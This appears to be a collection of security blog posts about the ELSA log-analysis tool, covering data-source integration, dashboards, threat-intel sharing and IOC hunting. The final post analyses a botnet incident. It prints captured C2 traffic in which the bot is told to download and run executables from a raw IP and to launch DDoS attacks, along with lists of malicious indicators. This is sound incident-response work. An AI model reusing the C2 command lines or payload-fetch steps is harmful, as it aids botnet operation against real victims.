Integrating Org Data in ELSA

Using Big Data is a necessity in securing an enterprise today, but it is only as useful as its relevance to the specific, local security challenges at hand.  To be effective, security analysts need to be able to use org-specific data to provide context.  This is not a new concept, as the idea has been around in products like ArcSight, NetWitness, and Sourcefire's RNA which use both external data sources as well as extrapolation techniques to map out key details such as IP-to-user relationships.

ELSA (and Splunk, to a slightly lesser degree) takes this a step further.  Any database in the org can be queried in the exact same search syntax as normal log searches, and these results can be stored, sent to dashboards, charted, compared, alerted on, and exported just like any other ELSA result.  Let's take an example of an HR database that has names, emails, and departments in it.  Suppose you want to see all of the emails sent from a non-US email server sent to anyone in the accounting department.  An ELSA search using Bro's SMTP logging can find this for you.

First, we setup the HR database for ELSA.  Open the /etc/elsa_web.conf file and add a new datasource to the datasources config section like this (documentation):
"datasources": {                 
  "database": { 
    "hr_database": { 
      "alias": "hr",
      "dsn": "dbi:Oracle:Oracle_HR_database", 
      "username": "scott", 
      "password": "tiger", 
      "query_template": "SELECT %s FROM (SELECT person AS name, dept AS department, email_address AS email) derived WHERE %s %s ORDER BY %s LIMIT %d,%d", 
      "fields": [ 
        { "name": "name" }, 
        { "name": "department" },
        { "name": "email" }
      ] 

Restart Apache, and now you can use the "hr" datasource just like it were native ELSA data.

The first part of the query is to find everyone in accounting:

datasource:hr department:accounting groupby:email_address

This will return a result that looks like this:

suzy@example.com

joe@example.com

dave@example.com

We will pass this "reduced" (in the map/reduce world) data to a subsearch of Bro SMTP logs which reduce the data to distinct source IP addresses:

class:bro_smtp groupby:srcip

Then, we apply the whois (or GeoIP) transform to find the origin country of that IP address and filter US addresses:

whois | filter(cc,us)

And finally, we only want to take a look at the subject of the email to get an idea of what it says:

sum(subject)

 The full query looks like:

datasource:hr department:accounting groupby:email_address | subsearch(class:bro_smtp groupby:srcip,srcip) | whois | filter(cc,us) | sum(subject)

This will yield the distinct subjects of every email sent to the accounting department from a non-US IP.  You can add this to a dashboard in two clicks, or have an alert setup.  Or, maybe you want to use the StreamDB connector to auto-extract the email and save off any attachments, perhaps to stream into a PDF sandbox.

There are unlimited possibilities for combining datasets.  You can cross-reference any log type available in ELSA, as with the HR data.  If you're using a desktop management suite in your enterprise, such as SCCM, you could find all IDS alerts by department:

+classification class:snort groupby:srcip | subsearch(datasource:sccm groupby:user,ip) | subsearch(datasource:hr groupby:department,name)

The fun doesn't have to stop here.  The database datasource is a plugin, and writing plugins is fairly easy.  Other possibilities for plugins could be LDAP lookups, generic file system lookups, Twitter (as in the example I put out on the mailing list today), or even a Splunk adapter for directly querying a Splunk instance over its web API.

To get data that graphs properly on time charts, you can specify which column is the "timestamp" for the row, like this:

{ "name": "created", "type": "timestamp", "alias": "timestamp" }

And to have a numeric value provide the value used in summation, you can alias it as "count:"

{ "name": "errors", "type": "int", "alias": "count" }

ELSA makes use of this for its new stats pages by hard-coding the internal ELSA databases as "system" datasources available to admins.  This allows the standard database entries to produce the same rich dashboards that standard ELSA data fuels.

The ability to mix ELSA data with non-ELSA data on the same chart can make for some very informative dashboards.  Possibilities include mixing IDS data with incident response ticket data, Windows errors with helpdesk tickets, etc.

Don't forget that sharing dashboards is easy by exporting and importing them, so if you have one you find useful, please share it!

ELSA Gets Dashboards

Tactical searching, reporting, and alerting is the most important part of security monitoring, but sometimes a big picture look at what's going on is necessary (especially for management).  In keeping with most security tools out there, ELSA now has easy-to-use dashboards which will display live data from any ELSA query in a format that's easy to view securely as well as easy to edit.  Here's a Snort dashboard that ships with ELSA in the contrib/dashboards folder:

Creating dashboards is as easy as clicking on the "Results..." button after running a query and choosing "Add to dashboard" (assuming you've created one already).

Any query can be added, and by default the charted value will be that query over time.  Once you've added queries, you can edit the charts on the dashboard as much as needed using the built-in Google Visualizations editor:

You can also add and remove queries that are used as the basis for the axis data:

Here's the completed Bro IDS dashboard:

Dashboards are easy to manage, too.  They can be assigned different levels of authorization for viewing, from none ("Public"), to authenticated users, to specific groups which match the rest of the ELSA authorization system.

The dashboard layout itself can be easily edited and changes appear live as you work, so it's easy to throw together any dashboard in less than a minute.

Sharing Dashboards

Best of all, dashboards are a breeze to export and import.  Exported dashboards are just JSON text, and importing is a simple matter of pasting in the JSON text into the "Create" import form field.  This means that it's easy for members of the security community to contribute back metrics that they find helpful.  If you've got a dashboard that's working for you, post it to the ELSA mailing list!  I'll include them in the contrib/dashboards folder for others to use.

Slides from Lockdown 2012

I had the pleasure of presenting at the University of Wisconsin's Lockdown 2012 Security Conference (http://www.cio.wisc.edu/lockdown-2012-presentations.aspx).  It was a great conference and I had interesting conversations with attendees and the other speakers.  Though small, year after year, the conference is able to attract important speakers who also present at Blackhat and RSA, so I encourage folks to check it out next year.

My presentation was titled "Detection is the New Prevention" and closely mirrored an earlier blog post of the same title.  The slide deck contains a lot of ELSA screenshots showing how ELSA and Big Data are critical when preventative measures fail.  Of particular note, I walk through some advanced ELSA features including how to setup local databases to leverage org-specific data in analytics.  I also walk through the basics of performing correlated searches in ELSA.

You can find the slides here: https://docs.google.com/open?id=0By1KXg1ivlIeN18yOWZ6a1dGTFk

You can also find slides from my YAPC:NA (Perl programmer's conference) which detail the inner-workings and design of ELSA here:  https://docs.google.com/open?id=0By1KXg1ivlIeQW1uYTZzV2FMX1E

J. Edgar and Big Data

I finally got around to watching the movie J. Edgar last night, and I think there were some interesting parallels between crime solving in 1919 and solving digital crimes now.  When J. Edgar Hoover founded the modern FBI, he implemented a few novel ideas for law enforcement that resonated with me:

1. Preserve all evidence, no matter how small.
2. Evidence provides attribution.
3. You need to collect Big Data to leverage evidence.

Preserve All Evidence
Computer forensics has come a long way since it was first needed in the 1980's.  But despite the great strides in host-based analysis, network analysis has only become en vogue in the last few years.  Other than a few companies like NetWitness, there are very few commercial network forensic options.  Most network forensic work is still in the old-school mode of gathering IP addresses, because IP's, like phone numbers, are easy to describe and collect.

Increasingly, IP addresses are becoming only half of the story, largely due to virtual hosts at large hosting providers.  It makes IP-based intel less reliable as a solid indicator and incident responders and law enforcement investigators are increasingly having to turn to network content as a supplement.  App content, (often encrypted), is fast becoming the only indicator left that's solid enough to launch an investigation.  This is similar to the shift in crooks using disposable cell phones rendering phone numbers less helpful for tracking criminals.  Just like in the movie where local cops contaminate the crime scene of the Lindbergh baby kidnapping by moving a ladder, ignoring footprints, etc., many orgs do not deem it necessary to collect small bits of evidence like DNS queries and SSL certificate use.

A great example of this is the ever-growing number of banking Trojans, like Zeus, which use a fully-encrypted command-and-control (C2) communications protocol.  You can use Bro and ELSA to find this C2 based on SSL certificate information, allowing us to use the last bit of indicator left on the wire.

Collecting all SSL certificates observed might seem like overkill, but in these cases, this is the only indicator that a host is compromised.  Without this small detail of evidence, we'd have only an IP address to go on, and in a co-location situation, that's not good enough to pull the trigger on physical action, like an arrest or re-image.

Evidence Provides Attribution
This is self-evident, but I want to focus on the importance of using all available evidence toward the goal of attribution in the context of network intrusions.  Too often, responders are willing to stop at the "what happened" phase of an investigation as they consider the intrusion contained and eradicated.   Without knowing the "why" of the situation, you cannot establish intent, and without intent, you cannot establish attribution, the "who."  If you don't understand the underlying motives, you won't be able to predict the next attack.

The required level of maturity in an incident response program increases dramatically from what it takes to figure out the basics of an intrusion to understanding it within the context of a campaign, which could go on for years.  Specifically, the IR program needs a comprehensive collection of data, and then a way to tie specific pieces of data together in permanent incident reports.  All of this needs to be intuitive enough so that analysts can programmatically link incidents together based on very small and varying indicators, such as a single word in an SSL certificate subject.

For example, a recent incident had no signs of compromise other than traffic to a known-bad IP address.  The traffic was encrypted using an SSL certificate:

CN=John Doe,OU=Office_1,O=Security Reaserch WWEB Group\, LLC,L=FarAway,ST=NoState,C=SI

We were able to link another IP address that was not a known-bad IP with the SSL certificate, which in turn revealed further intel on who registered it, for how long, what else it had done, etc.

In addition to the breadth of information collected, like SSL certificates, depth is also important.  It was important to know which was the first internal host to visit a site using that SSL certificate, as we were able to use that to point to the initial infection vector for what ended up being an incident affecting multiple hosts.

Collect Big Data

Hoover was also a pioneer in the collection of fingerprints for forensic purposes, a point which the movie made many times over.  It portrayed one of his proudest moments as when the last cart full of fingerprint files was wheeled into the Bureau's collection from remote branches.  It reminded me of when we got our last Windows server forwarding its logs to our central repository.  One of the first scenes shows his passion for setting up a system of indexing the library of congress, and I couldn't help but relate when he excitedly showed off the speed with which he could retrieve any book from the library when given a random query for a subject.

The concept that his agents needed to have a wealth of information at their disposal was a central theme.  There was even a line: "information is power" that particularly resonates as a truth in both business and public safety today.  With the increasingly complex mix of adversaries involved in cybercrime, it takes far more dots and far more horsepower to connect those dots than in simpler times.  Bruce Schneier made an excellent example with his piece on the dissection of a click fraud campaign.  The sheer amount of moving parts in a fraud scheme like that involving botnets and unknowing accomplices (ad networks) is daunting.  What makes it difficult from a network perspective is that many of the indicators of compromise are in fact legitimate web requests to known-good hosts.  It is only in a specific context that they become indicators.  Specifically, a request with a spoofed referrer will appear completely valid in every way except that the client never actually visited the prior page.  It takes the next level of network forensics to validate that referrers aren't spoofed, especially because subsequent requests will use redirects so that only the very first request will have a spoofed referrer.

What does it take to track this kind of activity?  You must be able to:

1. Find all hosts which used a known-bad SSL certificate.
2. For each host, retrieve every web request made.
3. For each result, get the referrer and find out if a corresponding request was made. 

That requires a very scalable and malleable framework capable of incredibly fast data retrieval as well as a flexible result processing system to deal with all of the recursion.

In addition to this request validation, you need the breadth of data to map out how far the intrusion spreads.  We located scores of hosts using the malicious SSL certificate, all of which were performing various activities:  Some were committing click fraud, others were doing keylogging and form grabbing, and others were attempting to spam.  The only thing they held in common was the SSL certificate used for their C2.  Without tying them together attribution would be impossible, instead of merely the great challenge it is now.

ELSA with the Collective Intelligence Framework

The Collective Intelligence Framework (CIF) is an incredible project that I've blogged about previously.  Up until recently, ELSA's integration has been read-only in which search results and batch jobs could be run through CIF to enhance and/or filter the results using CIF's collection of public and private intel.  As of today, ELSA can now add results directly to your local CIF instance through the web interface in either a batch of many results using the "Results" menu button or a single result using the "Info" link next to the record.

"Send to CIF" is now a menu item in the "Plugins" menu.  The optional parameters are a comma separated list of the description and a field override to specify exactly which field in the record you are adding.  By default, ELSA will choose the field for you based on known fields (srcip, dstip, hostname, and site) and will submit the external IP (as long as you've added your local subnets to the config file).  The config file also has a place to specify per-class field defaults for adding.  In the shipped config, the Bro DNS class uses the "hostname" field by default instead of the external IP address, because it's generally the host being queried that is malicious, not the external DNS server.

Once added to CIF, future searches can take advantage of the intel.  For instance, the below screen shot shows a query looking for any IDS alerts which have IP's known to CIF.

The screen shot also illustrates the use of the anonymize transform to obfuscate local IP addresses.

In addition to live queries, automated reports (alerts) can be send to the CIF connector, which means that you can automatically send all external IP's matching given criteria to CIF.   The above example with a Blackhole Suricata alert is a good example.  By clicking the "Results" button and selecting "Alert," you can choose CIF instead of Email as the connector, and from then on, any future results for that search will be classified in CIF. 

It is my hope that by allowing the same interface used for retrieving and processing security data to classify security intel, a significant step can be made towards sharing this intel between organizations.

ELSA: The Security Blog Companion

A healthy reading list is critical for any IT security professional.  In addition to a myriad of blogs I subscribe to, I also keep a close eye on my Twitter feed for the many links published there.  A tweet from Claudio pointed out the new Shadowserver.org post which contained a stellar description of dissecting an APT attack.  As I do with any technical post, while reading, I am unconsciously looking for indicators of compromise to dump into ELSA to see if our org has been affected as well.  Not only does it make reading technical posts more fun by "playing along at home," it's a great way to do some hunting.

So, in that spirit, if you want to play along with your own ELSA instance and read the shadowserver.org post, you'd just keep gedit or notepad open and paste terms in every so often.  The above post makes it especially easy by bolding IoC's.  What you end up with is something like this list of indicators:

Edit: I had to add spaces because Websense keeps flagging this site as malicious.

159.54.62 .92
71.6.131 .8
86.122.14 .140
glogin.ddns .us
222.239.73 .36
www.audioelectronic .com
213.33.76 .135
windows.ddns .us
222.122.68 .8
194.183.224 .73
ids.ns01 .us
javaup.updates.dns05 .com
194.183.224 .73
BrightBalls .swf
nxianguo1985@163.com .fr
www.support-office-microsoft .com

Now the fun part:  Copy and paste that whole list into the ELSA search field and hit submit.  It's as easy as that.  Since this was a targeted attack, there probably wasn't a hit for your org.  Don't feel too left out yet, though!  There's more hunting to be done.  One of the design goals for ELSA was to make it as easy as possible to take a starting point and fuzz the search to find related things.  In this case, you can start looking for domains from hostnames, so you can tack on these terms:

ddns .us

audioelectronic .com

dns05 .com

163.com .fr

support-office-microsoft .com

If you're using the httpry_logger.pl script that ships with ELSA or you've got Bro DNS logs being sent to ELSA, you could get some hits there.  Still no hits?  Let's dig even further.  If you're a member of ISC's DNSDB, you can do some passive DNS checks to see what else those malicious IP's have resolved to (or use the ELSA plugin for DNSDB).  For instance, windows.ddns .us resolved to 59.120.140 .77 on May 9th for some DNSDB member.  You can add that to the search list.  Then, by asking what other domains 59.120.140 .77 has resolved to in the past, you get:

updatedns.ns01 .us 

updates.ns02 .us 

updatedns.ns02 .us 

iat.updates.25u .com 

ictorgil2.updates.25u .com 

win.dnset .com 

xiunvba .com 

update.freeddns .com 

proxy.ddns .info

So you can tack all of these on as well.  If you still haven't gotten any hits, this wasn't all for nothing.  Click the "Results..." button and set an alert to fire on future occurrences of this hit, and now you'll be alerted if ever your org was attacked using any of this infrastructure.  Since these indicators are likely to become irrelevant soon, you can stick with the default end-date of a week, or extend it if you like.

By constantly dumping search terms into ELSA as you read, you can start finding some really interesting events that might have otherwise been missed.  That's why I encourage those of you who have an ELSA instance (if you don't, take a half hour and install it!) to keep it handy as you progress through your daily feeds.

Multitenancy Botnets Thwart Threat Analysis

There was a great thread on the EmergingThreats.net mailing list today regarding writing IDS signatures for a recent botnet communications channel.  This a very typical topic for discussion on the list, but in researching possible signatures, I found some surprisingly easy to observe communication of a compromised asset with is controller which shows how difficult it is to parameterize the threat of a given botnet.  Even labeling a botnet has grown extremely difficult as the codebases for each botnet are so intertwined that the tell-tale characteristics of each one blend until there's little distinction between them.  This makes attribution of attacks very difficult and provides a fair amount of anonymity through abstraction to the botnet masters.

As the exploit and agent codebases converge, the best parts of each are being used which is allowing small-time, novice crooks all the advantages of the highly effective hacking and command-and-control frameworks that used to be available only to the best criminals.  The increasingly assimilated code also allows researchers fewer opportunities for attribution via inference.

A positive on the defender's side of this arms race is that the converged code means that fewer IDS signatures need to be written, though the increasing surreptitiousness of the command frameworks continues to make this a constant challenge.

As the code converges, so does the consumers of the services the bot agents provide.  A recent article by Brian Krebs looked at the convergence between cyber criminals and cyber spies.  What I observed today certainly supports a corollary to that theory in which cyber criminals sell services to hacktivists.

During routine incident response, we discovered a compromised workstation which tripped the "ET TROJAN W32/Jorik DDOS Instructions From CnC Server" IDS signature.  When we pulled the traffic up using StreamDB, we were presented with the clear-text HTTP communications between the bot and its master.  The messaging looked almost identical to that of the Anubis report pcap referred to on the mailing list:

POST /sedo.php HTTP/1.0
Host: windowsupdate.dodololo.com
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

id=pc5_916a4f72ffa89a4e&s5_uidx=1337&os=2600&s5=0HTTP/1.1 200 OK
Server: nginx/1.2.0
Date: Tue, 08 May 2012 21:40:51 GMT
Content-Type: text/plain
Connection: close
X-Powered-By: PHP/5.3.12

48|dlexec|http://213.162.209.216/ice.exe|hdd|svhosts.exe|hidden
55|dlexec|http://213.162.209.216/24187.exe|hdd|svhosets.exe|hidden
57|ddos|http|66.7.217.213|80|10|3|100
120

This is an HTTP POST from the infected Anubis sandbox client to the botnet controller located in the SYS4NET virtual private server host in Alcantarilla, Spain.  The client reports its name and proxy information and is given commands, which in this case, are to download two executables and run them, then start a denial of service attack on 66.7.217.213 (www.christian-dogma.com).  The bot then proceeded to send 10 HTTP requests per second to that site for 100 seconds.

On our network, our infected machine received slightly different commands:

48|dlexec|http://213.162.209.216/ice.exe|hdd|svhosts.exe|hidden
49|ddos|syn|216.45.50.184|80|10|3|120

120

It downloaded a similar executable, but its denial of service attack was 10 SYN packets per second for 120 seconds against 216.45.50.184 (viewpointegypt.com).

What is interesting is that both of these sites are related to Egyptian politics, and if I'm reading the translated page correctly, christian-dogma.com caters to Coptic Christians in Egypt.  Egypt is still in some turmoil during elections after last year's Arab Spring, and so it makes sense that hacktivists would attack rival political groups and sites affiliated with demographics belonging to those political groups.

So, this botnet is definitely receiving hacktivist commands from a Spanish IP.  However, before, during and after the denial of service attack was launched from this infected machine, it relayed any posted credentials made by the user from a web browser.  In fact, in the same second that it received its commands to begin the attack, it posted encrypted Yahoo mail credentials (the user had just then logged into Yahoo) back to a separate command and control server at 46.109.96.115.  Meanwhile, it's pulling a "feed" from malicious domain paradulibo.net (31.193.12.27) which gives it a batch of click fraud to start with SEO keyword "1 year lpn schools georgia" and the faked referrer of "porninlinks.com."

Just as cloud providers provide multitenancy models to maximize hardware efficiency, the botnet masters are renting out their services to more and more customers.  This makes it impossible to use characteristics of an infection vector, payload, or even bot agent code as an indicator of what threat the compromised asset poses to the business.  It could launch a denial of service attack, steal passwords, initiate click fraud, or all three at the same time.  It may also be conducting industrial espionage, but I have yet to find an instance of that in the wild.

This is compounded by the fact that the criminals in charge of running the exploit kits such as Blackhole, Scalaxy, Incognito, etc. (which share much of the same codebase), are separate entities from those that actually use the bots.  For instance, here's the infected asset, having just been compromised with a Blackhole kit, checking in to credit the exploit kit admin with a new install:

GET /api/stats/install/?&affid=56300&ver=3040003&group=sf HTTP/1.1
Referer: 220.164.140.246
Accept: *//*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0; .NET CLR 1.1.4322)
Host: 220.164.140.246

This is on completely separate infrastructure from the rest of the botnet and represents the segregated "duties" of the criminals.  One is in the business of getting an agent loaded on a host, for which he is paid a small sum on a per-host basis, the other is in the business of using these agents to rent out in the multitenancy model described above.

This can create a real problem when trying to summarize an incident for the customer or for management, because what may start as a simple adware install could have the potential for any part of the cybercrime spectrum.  It also presents a difficult situation for defenders:  It's easy to identify the adware and declare the case closed, but responders must be diligent and follow-up on all actions the host took while compromised because the presence of adware does not preclude far more nefarious actions.

Above all, this should make it obvious that finding and containing compromises is of paramount importance to the business, because any compromised asset is becoming increasingly available to a growing blackmarketplace of criminal consumers.

Edit (5/10/2012):  Looks like Dancho Danchev has a post showing what the console for this kind of botnet looks like.